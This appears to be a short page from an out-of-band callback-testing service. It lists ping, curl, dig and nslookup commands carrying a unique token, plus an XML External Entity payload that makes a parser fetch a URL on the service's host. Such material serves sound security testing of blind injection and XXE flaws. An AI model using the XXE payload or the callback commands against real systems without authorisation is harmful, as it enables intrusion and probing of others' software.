$ ping -c1 -p 007f379ed6aa1fa98c12cbd125471300 unhack.ca
 

$ curl http://unhack.ca/p/7f379ed6aa1fa98c12cbd1254713
 

$ dig 7f379ed6aa1fa98c12cbd1254713 @unhack.ca
 

$ dig 7f379ed6aa1fa98c12cbd1254713.ns.unhack.ca
 

C:\> nslookup 7f379ed6aa1fa98c12cbd1254713 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7f379ed6aa1fa98c12cbd1254713">]>
    <foo>&xxe;</foo>